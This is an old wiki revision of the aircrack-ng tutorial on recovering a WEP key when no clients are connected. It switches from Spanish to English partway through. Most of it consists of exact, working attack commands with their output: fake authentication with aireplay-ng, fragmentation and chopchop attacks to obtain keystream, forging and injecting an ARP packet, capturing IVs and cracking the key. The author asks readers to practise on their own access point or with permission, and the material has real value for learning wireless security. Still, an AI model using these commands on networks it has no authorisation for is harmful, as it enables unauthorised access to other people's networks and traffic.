User Tools

Site Tools


spanish_how_to_crack_wep_with_no_clients

This is an old revision of the document!


Tutorial: Como crackear WEP sin clientes

Version: 1.02. de 10 de Febrero de 2007 By: darkAudax Video: http://video.aircrack-ng.org/noclient/

Introducción

Hay muchas veces que encontramos redes wireless que no tienen clientes conectados. Este tutorial describe como obtener la clave WEP cuando no hay clientes. Aunque este tema ha sido discutido muchas veces en el Foro, este tutorial está hecho con la intención de entrar en más detalles y poner algunos ejemplos.

Es recomendable que cada uno experimente con su propio punto de acceso wireless, para familiarizarse con estas ideas y técnicas. Si no tienes un punto de acceso propio, recuerda que tienes que pedir permiso al propietario del router con el que quieras practicar este ateque.

Antes de nada hay que darles las gracias a los Desarrolladores de la suite Aircrack-ng por crear estas herramientas tan fantásticas.

Por favor, enviame cualquier sugerencia, positiva o negativa. Bien sean problemas o buenas ideas serán bienvenidas.

Puntos de partida

Suponemos que:

  • Estás usando drivers parcheados para inyección. Puedes capturar paquetes con Wireshark para comprobar si estás inyectando.
  • Estás físicamente suficientemente cerca para enviar y recibir paquetes del punto de acceso. Recuerda que recibir paquetes del punto de acceso no significa que los paquetes que transmitas sean recibidos por el AP. La fuerza de la señal de las tarjetas wireless generalmente es menor que la fuerza de la señal de los AP. Por lo tanto, es necesario estar cerca del AP, para que los paquetes que transmitimos sean recibidos por el AP.
  • No hay paquetes de datos que vienen del punto de acceso. Beacons (balizas) y otros paquetes como “management frame packets” son inútiles para nuestros propósitos en este tutorial. Una forma rápida para comprobar el tráfico es ejecutar airodump-ng y ver si hay algún paquete de datos. En el caso de tener paquetes de datos capturados del punto de acceso en otras sesiones, podríamos usarlos para generar nuevo tráfico. Esto es para usuarios avanzados y este tutorial no da instrucciones detalladas para este caso.
  • El punto de acceso usa encriptación WEP abierta (open authentication). No funcionará si la autentificación es compartida (shared key authentication) (SKA). Con SKA el único método si no existen clientes es capturar el PRGA xor data con airodump-ng handshake o hacer previamente un ataque con aireplay-ng. Esto es así porque necesitas el archivo PRGA xor para hacer una falsa autenticación de forma exitosa.
  • Usamos la versión 0.7 de aircrack-ng. Si usas otra versión algunos comandos puede que se tengan que escribir de forma diferente.

Asegurate de que cumples todas las condiciones, sino no funcionará. En los siguientes ejemplos, tendrás que cambiar “ath0” por el nombre de la interface de tu tarjeta wireless.

Equipo usado

En este tutorial:

  • Dirección MAC del PC ejecutando la suite aircrack-ng: 00:09:5B:EC:EE:F2
  • BSSID (dirección MAC del punto de acceso): 00:14:6C:7E:40:80
  • ESSID (nombre de la red Wireless): teddy
  • Canal del AP: 9
  • Interface Wireless: ath0

Tienes que obtener la información equivalente de la red sobre la que quieres trabajar. Y cambiar estos valores en los siguientes ejemplos.

Solución

Contenidos

Aquí estań los pasos que vamos a seguir:

  • 1 - Fijar la dirección MAC de la tarjeta wireless
  • 2 - Colocar la interface wireless en modo monitor y fijar el canal
  • 3 - Usar aireplay-ng para hacer una falsa autenticación con el punto de acceso
  • 4 - Usar chopchop o ataque de fragmentación para obtener PRGA
  • 5 - Usar packetforge-ng para crear un paquete arp usando el PRGA obtenido en el paso anterior
  • 6 - Iniciar airodump-ng en el canal del AP con filtro de bssid para capturar IVs
  • 7 - Inyectar el paquete arp creado en el paso 5
  • 8 - Ejecutar aircrack-ng para obtener la clave WEP

Paso 1 - Fijar la dirección MAC de la tarjeta wireless

Para ser honesto, nosotros no hemos cambiado la dirección MAC de nuestra tarjeta.

Esto es un recordatorio para que uses tu dirección MAC real y no una falsa. En el paso 3 es importante que la dirección MAC que se use sea la de la nuestra tarjeta, para realizar la falsa autenticación. Si quieres cambiar la dirección MAC de tu tarjeta puedes consultar este : post en inglés FAQHow do I change my card's MAC address ?.

Paso 2 - Colocar la interface wireless en modo monitor y fijar el canal

Escribe el siguiente comando para poner la tarjeta wireless en modo monitor en el canal 9:

airmon-ng start wifi0 9

Nota: En este comando usamos “wifi0” en lugar de nuestra interface “ath0”. Esto se debe a que estamos usando los drivers madwifi-ng y no madwifi-old.

El sistema nos responderá:

 Interface       Chipset         Driver
 
 wifi0           Atheros         madwifi-ng
 ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Puedes observar que “ath0” aparece colocada en modo monitor.

Escribe “ifconfig ath0 up” para levantar la interface ath0 que usaremos a continuación.

Para confirmar que la interface está bien configurada, escribimos “iwconfig”.

El sistema nos responderá:

 lo        no wireless extensions.
 
 eth0      no wireless extensions.
 
 wifi0     no wireless extensions.
 
 ath0      IEEE 802.11g  ESSID:""  Nickname:""
           Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:09:5B:EC:EE:F2   
           Bit Rate:0 kb/s   Tx-Power:15 dBm   Sensitivity=0/3  
           Retry:off   RTS thr:off   Fragment thr:off
           Encryption key:off
           Power Management:off
           Link Quality=0/94  Signal level=-98 dBm  Noise level=-98 dBm
           Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
           Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Podemos ver que ath0 está en modo monitor, en la frecuencia 2.452GHz que corresponde al canal 9 y en “Access Point” vemos la dirección MAC de nuestra tarjeta wireless. Es importante comprobar toda esta información antes de continuar, ya que sino no funcionará.

Para ver la correspondencia entre frecuencia y canal, mira: http://www.rflinx.com/help/calculations/#2.4ghz_wifi_channels selecciona la etiqueta “Wifi Channel Selection and Channel Overlap”. Así obtendrás la frecuencia para cada canal.

Problemas

  • Si tienes otra interface en modo monitor que no sea ath0, puedes usarla o escribir “airomon-ng stop athX” donde X es la interface que quieres parar.

Usar aireplay-ng para hacer una falsa autenticación con el punto de acceso

Este es un paso muy importante.

Para que un punto de acceso acepte un paquete, la dirección MAC debe estar previamente asociada. Si la dirección MAC con la cual estas inyectando no etá asociada, el AP ignorará el paquete y enviará un paquete de desautentificación. En este caso, no se crearán nuevos IVs porque el AP está ignorando todos los paquetes inyectados.

La falta de asociación con el punto de acceso es la razón más habitual por la cual falla la inyección.

Para asociarse con un punto de acceso, usa el comando:

aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Donde:

  • -1 significa falsa autenticación (fake authentication)
  • 0 tiempo de reasociación en segundos
  • -e teddy es el nombre de la red wireless
  • -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -h 00:09:5B:EC:EE:F2 es la dirección MAC de nuestra tarjeta wireless
  • ath0 es el nombre de nuestra interface

Si tenemos éxito aparecerá algo como esto:

18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)

Otra variación que puede funcionar en algunos puntos de acceso:

aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Donde:

  • 6000 Reautenticación cada 6000 segundos. En este periodo de tiempo se siguen enviando paquetes de sigo aquí o “keep alive packets”.
  • -o 1 Envia solo un tipo de paquetes de cada vez. El valor por defecto es “multiple” y esto puede confundir a algunos APs.
  • -q 10 Se envian paquetes de “sigo aquí” cada 10 segundos.

Si tenemos éxito aparecerá algo como esto:

18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# etc....

Ahora ponemos un ejemplo de un fallo de autenticación:

8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request

Presta atención a “Got a deauthentication packet” y los continuos intentos de asociación. No se puede pasar al siguiente paso hasta que funcione la falsa autenticación de forma correcta.

Problemas

  • Algunos puntos de acceso están configurados para permitir únicamente una dirección MAC para asociarse y conectarse. Si este es tu caso, no serás capaz de realizar la falsa autenticación de forma éxitosa, salvo que conozcas una de las direcciones MAC que están permitidas para poder conectarse a ese AP.
  • Si deseas confirmar que estás asociado de forma correcta puedes usar tcpdump y mirar los paquetes. Inicia una consola y escribe:

Run: “tcpdump -n -e -s0 -vvv -i ath0”

Here is a typical tcpdump error message you are looking for:

 11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:09:5B:EC:EE:F2 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station

Presta atención que el punto de acceso (00:14:6c:7e:40:80) le está diciendo a la tarjeta (00:09:5B:EC:EE:F2) que no está asociada. Lo que significa que el AP no aceptará los paquetes que inyectemos.

Si solo quieres seleccionar los paquetes de deautenticación con tcpdump usa: “tcpdump -n -e -s0 -vvv -i ath0 | grep DeAuth”. Puedes cambiar la palabra “DeAuth” para escoger otros paquetes que quieras buscar.

Paso 4 - Usar chopchop o ataque de fragmentación para obtener PRGA

El objetivo de chopchop y del ataque de fragmentación es obtener un archivo PRGA (del ingles “pseudo random generation algorithm” o algoritmo de generación seudo aleatoria). Este PRGA no es la clave WEP y no se puede usar para desencriptar paquetes. Aunque, si puede usarse para crear nuevos paquetes encriptados con la clave WEP para inyectarlos. La creación de nuevos paquetes la veremos más adelante en el tutorial.

Tanto chopchop como el ataque de fragmentación pueden ser usados para obtener el archivo PRGA. El resultado es el mismo, por lo que usa el que mejor te funcione. Los pros y contras de cada ataque están descritos en la página de aircrack-ng.

A continuación exponemos primero el ataque de fragmentación. Abrimos otra consola y escribimos:

aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0

Where:

  • -5 means the fragmentation attack
  • -b 00:14:6C:7E:40:80 is the access point MAC address
  • -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
  • ath0 is the wireless interface name

The system will respond:

 aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 ath0                 
 Waiting for a data packet...
 Read 127 packets...
         
         Size: 114, FromDS: 1, ToDS: 0 (WEP)
         
         BSSID  =  00:14:6C:7E:40:80
         Dest. MAC  =  01:00:5E:00:00:FB
         Source MAC  =  00:40:F4:77:E5:C9
         
         0x0000:  0842 0000 0100 5e00 00fb 0014 6c7e 4080  .B....^.....l~@.
         0x0010:  0040 f477 e5c9 6052 8c00 0000 3073 d265  .@.w..`R....0s.e
         0x0020:  c402 790b 2293 c7d5 89c5 4136 7283 29df  ..y.".....A6r.).
         0x0030:  4e9e 5e13 5f43 4ff5 1b37 3ff9 4da4 c03b  N.^._CO..7?.M..;
         0x0040:  8244 5882 d5cc 7a1f 2b9b 3ef0 ee0f 4fb5  .DX...z.+.>...O.
         0x0050:  4563 906d 0d90 88c4 5532 a602 a8ea f8e2  Ec.m....U2......
         0x0060:  c531 e214 2b28 fc19 b9a8 226d 9c71 6ab1  .1..+(...."m.qj.
         0x0070:  9c9f                                     ..
         
         Use this packet ? y

When a packet from the access point arrives, enter “y” to proceed. You may need to try a few to be successful.

When successful, the system reponds:

 Saving chosen packet in replay_src-0203-180328.cap
 Data packet found!
 Sending fragmented packet
 Got RELAYED packet!!
 Thats our ARP packet!
 Trying to get 384 bytes of a keystream
 Got RELAYED packet!!
 Thats our ARP packet!
 Trying to get 1500 bytes of a keystream
 Got RELAYED packet!!
 Thats our ARP packet!
 Saving keystream in fragment-0203-180343.xor
 Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

Success! The file “fragment-0203-180343.xor” can then be used in the next step to generate an arp packet.

If the fragmentation attack was not successful, you can then try the chopchop technique next. Run:

aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2

Where:

  • -4 means the chopchop attack
  • -h 00:09:5B:EC:EE:F2 is the MAC address of our card and must match the MAC used in the fake authentication
  • ath0 is the wireless interface name

The system responds:

      Read 165 packets...

         Size: 86, FromDS: 1, ToDS: 0 (WEP)
 
         BSSID  =  00:14:6C:7E:40:80
         Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  00:40:F4:77:E5:C9
 
         0x0000:  0842 0000 ffff ffff ffff 0014 6c7e 4080  .B..........l~@.
         0x0010:  0040 f477 e5c9 603a d600 0000 5fed a222  .@.w..`:...._.."
         0x0020:  e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543  ...H......._=..C
         0x0030:  d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873  ....j.....%.[.(s
         0x0040:  16d4 43fb aebb 3ea1 7101 729e 65ca 6905  ..C...>.q.r.e.i.
         0x0050:  cfeb 4a72 be46                           ..Jr.F

 Use this packet ? y

You respond “y” above and the system continues.

 Saving chosen packet in replay_src-0201-191639.cap
 
 Offset   85 ( 0% done) | xor = D3 | pt = 95 |  253 frames written in   760ms
 Offset   84 ( 1% done) | xor = EB | pt = 55 |  166 frames written in   498ms
 Offset   83 ( 3% done) | xor = 47 | pt = 35 |  215 frames written in   645ms
 Offset   82 ( 5% done) | xor = 07 | pt = 4D |  161 frames written in   483ms
 Offset   81 ( 7% done) | xor = EB | pt = 00 |   12 frames written in    36ms
 Offset   80 ( 9% done) | xor = CF | pt = 00 |  152 frames written in   456ms
 Offset   79 (11% done) | xor = 05 | pt = 00 |   29 frames written in    87ms
 Offset   78 (13% done) | xor = 69 | pt = 00 |  151 frames written in   454ms
 Offset   77 (15% done) | xor = CA | pt = 00 |   24 frames written in    71ms
 Offset   76 (17% done) | xor = 65 | pt = 00 |  129 frames written in   387ms
 Offset   75 (19% done) | xor = 9E | pt = 00 |   36 frames written in   108ms
 Offset   74 (21% done) | xor = 72 | pt = 00 |   39 frames written in   117ms
 Offset   73 (23% done) | xor = 01 | pt = 00 |  146 frames written in   438ms
 Offset   72 (25% done) | xor = 71 | pt = 00 |   83 frames written in   249ms
 Offset   71 (26% done) | xor = A1 | pt = 00 |   43 frames written in   129ms
 Offset   70 (28% done) | xor = 3E | pt = 00 |   98 frames written in   294ms
 Offset   69 (30% done) | xor = BB | pt = 00 |  129 frames written in   387ms
 Offset   68 (32% done) | xor = AE | pt = 00 |  248 frames written in   744ms
 Offset   67 (34% done) | xor = FB | pt = 00 |  105 frames written in   315ms
 Offset   66 (36% done) | xor = 43 | pt = 00 |  101 frames written in   303ms
 Offset   65 (38% done) | xor = D4 | pt = 00 |  158 frames written in   474ms
 Offset   64 (40% done) | xor = 16 | pt = 00 |  197 frames written in   591ms
 Offset   63 (42% done) | xor = 7F | pt = 0C |   72 frames written in   217ms
 Offset   62 (44% done) | xor = 1F | pt = 37 |  166 frames written in   497ms
 Offset   61 (46% done) | xor = 5C | pt = A8 |  119 frames written in   357ms
 Offset   60 (48% done) | xor = 9B | pt = C0 |  229 frames written in   687ms
 Offset   59 (50% done) | xor = 91 | pt = 00 |  113 frames written in   339ms
 Offset   58 (51% done) | xor = 25 | pt = 00 |  184 frames written in   552ms
 Offset   57 (53% done) | xor = 94 | pt = 00 |   33 frames written in    99ms
 Offset   56 (55% done) | xor = F3 | pt = 00 |  193 frames written in   579ms
 Offset   55 (57% done) | xor = D6 | pt = 00 |   17 frames written in    51ms
 Offset   54 (59% done) | xor = FA | pt = 00 |   81 frames written in   243ms
 Offset   53 (61% done) | xor = EA | pt = 01 |   95 frames written in   285ms
 Offset   52 (63% done) | xor = 5D | pt = 37 |   24 frames written in    72ms
 Offset   51 (65% done) | xor = 33 | pt = A8 |   20 frames written in    59ms
 Offset   50 (67% done) | xor = CC | pt = C0 |   97 frames written in   291ms
 Offset   49 (69% done) | xor = 03 | pt = C9 |  188 frames written in   566ms
 Offset   48 (71% done) | xor = 34 | pt = E5 |   48 frames written in   142ms
 Offset   47 (73% done) | xor = 34 | pt = 77 |   64 frames written in   192ms
 Offset   46 (75% done) | xor = 51 | pt = F4 |  253 frames written in   759ms
 Offset   45 (76% done) | xor = 98 | pt = 40 |  109 frames written in   327ms
 Offset   44 (78% done) | xor = 3D | pt = 00 |  242 frames written in   726ms
 Offset   43 (80% done) | xor = 5E | pt = 01 |  194 frames written in   583ms
 Offset   42 (82% done) | xor = AF | pt = 00 |   99 frames written in   296ms
 Offset   41 (84% done) | xor = C4 | pt = 04 |  164 frames written in   492ms
 Offset   40 (86% done) | xor = CE | pt = 06 |   69 frames written in   207ms
 Offset   39 (88% done) | xor = 9D | pt = 00 |  137 frames written in   411ms
 Offset   38 (90% done) | xor = FD | pt = 08 |  229 frames written in   688ms
 Offset   37 (92% done) | xor = 13 | pt = 01 |  232 frames written in   695ms
 Offset   36 (94% done) | xor = 83 | pt = 00 |   19 frames written in    58ms
 Offset   35 (96% done) | xor = 4E | pt = 06 |  230 frames written in   689ms
 Sent 957 packets, current guess: B9...
 
 The AP appears to drop packets shorter than 35 bytes.
 Enabling standard workaround: ARP header re-creation.
 
 Saving plaintext in replay_dec-0201-191706.cap
 Saving keystream in replay_dec-0201-191706.xor
 
 Completed in 21s (2.29 bytes/s)

Success! The file “replay_dec-0201-191706.xor” above can then be used in the next step to generate an arp packet.

Helpful Tips

  • Be sure the packet is 68 or more bytes otherwise you may not have enough PRGA data to subsquently generate a packet. The PRGA captured has to equal or greater then the packet length we want to generate.
  • At home, to generate some packets to force chopchop to start, ping a non-existant IP on your network. This forces an arp to be broadcast and this will show up in chopchop to be used.
  • You can check decrypted packet by running “tcpdump -n -vvv -e -s0 -r replay_dec-0201-191706.cap”. In our example above:

reading from file replay_dec-0201-191706.cap, link-type IEEE802_11 (802.11) 19:17:06.842866 0us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:e5:c9 LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.1.12 tell 192.168.1.1

  • If something happens part way through chopchop, you can reuse the source packet by entering “aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r replay_src-0201-191639.cap”. The replay source file is noted when chopchop starts.
  • Taking the previous tip further, if you have a capture file from another session, you can use it as input “aireplay-ng -4 ath0 -h 00:09:5B:EC:EE:F2 -r capture-from-some-other-time.cap”

Troubleshooting Tips

  • If the first packet you select does not work, then try a few others. Sometimes it takes more then one try to be successful with either attack.
  • The chopchop attack will not be successful on some access points. If this happens, move onto the fragmentation attack. And vice versa.
  • Make sure you are properly associated. To check this, follow the tcpdump instructions in step 2.

Step 5 - Use packetforge-ng to create an arp packet

In the previous step, we obtained PRGA. It does not matter which attack generated the PRGA, both are equal. This PRGA is stored in the files ending with “xor”. We can then use this PRGA to generate a packet for injection. We will be generating an arp packet for injection. The objective is to have the access point rebroadcast the injected arp packet. When it rebroacasts it, a new IV is obtained. All these new IVs will ultimately be used to crack the WEP key.

But first, lets generate the arp packet for injection by entering:

packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0203-180343.xor -w arp-request

Where:

  • -0 means generate an arp packet
  • -a 00:14:6C:7E:40:80 is the access point MAC address
  • -h 00:09:5B:EC:EE:F2 is MAC address of our card
  • -k 255.255.255.255 is the destination IP (most APs respond to 255.255.255.255)
  • -l 255.255.255.255.255 is the source IP (most APs respond to 255.255.255.255)
  • -y fragment-0203-180343.xor is file to read the PRGA from
  • -w arp-request is name of file to write the arp packet to

The system will respond:

 Wrote packet to: arp-request

Helpful Tips

  • After creating the packet, use tcpdump to review it from a sanity point of view. See below. It looks good!

tcpdump -n -vvv -e -s0 -r arp-request

 reading from file arp-request, link-type IEEE802_11 (802.11)
 10:49:17.456350 WEP Encrypted 258us BSSID:00:14:6c:7e:40:80 SA:00:09:5b:ec:ee:f2 DA:Broadcast Data IV: 8f Pad 0 KeyID 0

Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct. These steps are not required, they just prove to yourself that you have generated the correct packet.

Decrypt the packet: airdecap-ng -e teddy -w <put your WEP key here> arp-request View the decrypted packet: tcpdump -n -r arp-request-dec It should be something like:

 reading from file arp-request-dec, link-type EN10MB (Ethernet)
 10:49:17.456350 arp who-has 255.255.255.255 tell 255.255.255.255

Step 6 - Start airodump-ng

Open another console session to capture the generated IVs. Then enter:

airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 –ivs -w capture ath0

Where:

  • -c 9 is the channel for the wireless network
  • –bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
  • –ivs specfifies that you only want to capture the IVs. This keeps the file as small as possible.
  • -w capture is file name prefix for the file which will contain the IVs.
  • ath0 is the interface name.

Step 7 - Inject the arp packet

Using the console session where you generated the arp packet, enter:

aireplay-ng -2 -r arp-request ath0

Where:

  • -2 means use interactive frame selection
  • -r arp-request defines the file name from which to read the arp packet
  • ath0 defines the interface to use

The system will respond:

      Size: 68, FromDS: 0, ToDS: 1 (WEP)
      
           BSSID  =  00:14:6C:7E:40:80
       Dest. MAC  =  FF:FF:FF:FF:FF:FF
      Source MAC  =  00:09:5B:EC:EE:F2
      
      0x0000:  0841 0201 0014 6c7e 4080 0009 5bec eef2  .A....l~@...[...
      0x0010:  ffff ffff ffff 8001 8f00 0000 7af3 8be4  ............z...
      0x0020:  c587 b696 9bf0 c30d 9cd9 c871 0f5a 38c5  ...........q.Z8.
      0x0030:  f286 fdb3 55ee 113e da14 fb19 17cc 0b5e  ....U..>.......^
      0x0040:  6ada 92f2                                j...
      
      Use this packet ? y

Enter “y” to use this packet. The system responds by showing how many packets it is injecting and reminds you to start airodumump if it has not already been started:

 Saving chosen packet in replay_src-0204-104917.cap
 You should also start airodump-ng to capture replies.
 
 End of file.

While this command is successfully running, the airodump-ng screen will look similar to:

 CH  9 ][ Elapsed: 16 s ][ 2007-02-04 11:04 
                                                                                                               
  BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
                                                                                                               
  00:14:6C:7E:40:80   47 100      179     2689  336   9  11  WEP  WEP         teddy                           
                                                                                                               
  BSSID              STATION            PWR  Lost  Packets  Probes                                             
                                                                                                               
  00:14:6C:7E:40:80  00:09:5B:EC:EE:F2   29     0     2707                                                     

You will notice that only one access point is being display since we included an airodump-ng filter to limit the capture to a single BSSID. Also notice that the station packets are roughly equal to the BSSID data packets. This means injection is working well. Also notice the data rate of 336 packets per second which is also an indicator that the injection is working well. This is a pretty “ideal” injection scenario.

Troubleshooting Tips

  • If the BSSID data packets are not increasing make sure you are still associated with the access point. To do this, follow the tcpdump instructions in step 2.

Step 8 - Run aircrack-ng to obtain the WEP key

Start another console session and enter:

aircrack-ng *.ivs -b 00:14:6C:7E:40:80

Where:

  • *.ivs selects all files ending in “ivs”.
  • -b 00:14:6C:7E:40:80 selects the one access point we are interested in

You can run this while generating packets. In a short time, the WEP key will be calculated and presented. You will need approximately 250,000 IVs for 64 bit and 500,000 IVs for 128bit keys. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.

Troubleshooting Tips:

  • Sometimes you need to try various techniques to crack the WEP key. Try “-n” to set various key lengths. Use “-f” and try various fudge factors. Use “-k” and try disabling various korek methods.

Change Log

Februray 16/2007

February 10/2007 v1.02

  • Added the assumption with regards to open authentication

February 7/2007 v1.01

  • Incorporated correction and feedback from cjaghblb

February 4/2007 v1.00

  • Initial Release
spanish_how_to_crack_wep_with_no_clients.1172269303.txt.gz · Last modified: 2007/02/23 23:21 (external edit)